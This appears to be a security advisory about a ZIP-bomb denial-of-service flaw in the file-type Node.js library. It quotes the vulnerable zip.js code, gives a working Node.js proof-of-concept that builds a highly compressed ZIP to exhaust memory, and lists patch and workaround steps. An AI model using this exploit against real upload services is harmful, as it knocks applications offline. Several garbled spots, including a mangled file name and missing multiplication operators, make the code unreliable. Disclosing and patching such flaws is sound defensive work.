Listen to this Post
The vulnerability stems from a flawed conditional check in the ZIP detection logic of the `file-type` library. For inputs with a known size, such as buffers or files loaded into memory, the code used `Number.MAX_SAFE_INTEGER` as the limit for decompressing ZIP entries instead of the intended 1 MiB limit applied to streams . This effectively removed the bound on how much data the library would decompress while probing for the `
.xml` file, which is a marker for Office Open XML (OOXML) formats . By crafting a malicious ZIP file that contains a highly compressed `[bash].xml` entry, an attacker can cause the library to inflate it to a massive size (e.g., 257 MB from a 255 KB ZIP) during a type detection call like <code>fileTypeFromBuffer()</code>. This excessive memory allocation can lead to application slowdown or a crash, resulting in a Denial of Service (DoS) . <h2 style="color: blue;">dailycve form:</h2> Platform: file-type Version: 20.0.0 to 21.3.1 Vulnerability : ZIP bomb DoS Severity: Medium (CVSS: 5.3) date: 2026-03-12 <h2 style="color: blue;">Prediction: Patched 2026-03-13</h2> <h2 style="color: blue;">What Undercode Say:</h2> <h2 style="color: blue;">Analytics</h2> <dl> <dt>The issue was introduced in commit <code>399b0f1</code>. The following vulnerable code snippets show the improper limit application:</dt> <dt>[bash]</dt> <dt>// Vulnerable code in zip.js</dt> <dt>const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)</dt> <dt>? maximumZipEntrySizeInBytes // 1 MiB for streams</dt> <dd>Number.MAX_SAFE_INTEGER; // Unlimited for buffers/blobs/files
And:
-
</dt> <dt>const maximumLength = hasUnknownFileSize(this.tokenizer)</dt> <dt>? maximumZipEntrySizeInBytes</dt> <dd>Number.MAX_SAFE_INTEGER;
Exploit
The following Node.js script generates a ZIP bomb that triggers the vulnerability:
import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';
async function createZipBomb(sizeInMegabytes) {
return new Promise((resolve, reject) => {
const chunks = [];
const writable = new Writable({
write(chunk, encoding, callback) {
chunks.push(chunk);
callback();
},
});
const archive = archiver('zip', {zlib: {level: 9}});
archive.pipe(writable);
writable.on('finish', () => {
resolve(Buffer.concat(chunks));
});
archive.on('error', reject);
const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
const padding = Buffer.alloc(sizeInMegabytes 1024 1024 - xmlPrefix.length, 0x20);
archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[bash].xml'});
archive.finalize();
});
}
const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));
const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;
console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));
Observed on `file-type` 21.3.1: a 255 KB ZIP caused ~257 MB of RSS growth .
Protection from this CVE
- Update: Upgrade to `file-type` version `21.3.2` or later, which applies the 1 MiB inflate limit to all inputs regardless of known size .
- Workaround: Use the `fileTypeFromStream()` API instead of
fileTypeFromBuffer(),fileTypeFromBlob(), or `fileTypeFromFile()` for untrusted uploads, as it already enforced the proper limit . - Resource Limits: Implement memory caps and monitoring in the application environment to mitigate the impact of excessive allocation.
Impact
Applications using the vulnerable APIs (fileTypeFromBuffer, fileTypeFromBlob, fileTypeFromFile) to process untrusted file uploads are susceptible. A remote attacker can upload a small, specially crafted ZIP file to force the application into allocating hundreds of megabytes of memory, leading to performance degradation or process termination. This poses an availability risk, particularly in memory-constrained environments .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
